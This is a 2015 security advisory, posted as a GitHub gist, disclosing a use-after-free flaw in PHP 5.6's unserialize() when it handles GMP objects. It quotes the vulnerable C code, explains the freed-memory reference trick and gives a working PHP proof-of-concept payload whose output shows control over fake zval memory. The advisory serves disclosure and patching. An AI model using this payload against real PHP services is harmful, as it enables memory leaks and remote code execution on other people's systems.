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Created August 26, 2015 11:04
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  1. chtg created this gist Aug 26, 2015.
    97 changes: 97 additions & 0 deletions .md
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    #Use After Free Vulnerability in unserialize() with GMP

    Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.17 - Release Date: 2015.9.4

    > A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.13

    Credits
    ------------
    This vulnerability was disclosed by Taoguang Chen.

    Description
    ------------
    ```
    static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
    {
    ...
    INIT_ZVAL(zv);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
    || Z_TYPE_P(zv_ptr) != IS_STRING
    || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
    ) {
    zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
    goto exit;
    }
    zval_dtor(&zv);
    INIT_ZVAL(zv);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
    || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
    zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
    goto exit;
    }
    ```

    The GMP object's deserialization can create ZVAL and free its zval_value from memory via zval_dtor(). However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

    Proof of Concept Exploit
    ------------
    The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
    ```
    <?php
    $inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
    $exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
    $data = unserialize($exploit);
    $fakezval = ptr2str(1122334455);
    $fakezval .= ptr2str(0);
    $fakezval .= "\x00\x00\x00\x00";
    $fakezval .= "\x01";
    $fakezval .= "\x00";
    $fakezval .= "\x00\x00";
    for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
    }
    var_dump($data);
    function ptr2str($ptr)
    {
    $out = '';
    for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    ?>
    ```

    Test the PoC on the command line:
    ```
    $ php uafpoc.php
    array(2) {
    [0]=>
    int(1122334455) <=== so we can control the memory and create fake ZVAL :)
    [1]=>
    object(GMP)#1 (2) {
    [0]=>
    array(1) {
    [0]=>
    int(4325299791)
    }
    ["num"]=>
    string(1) "1"
    }
    }
    ```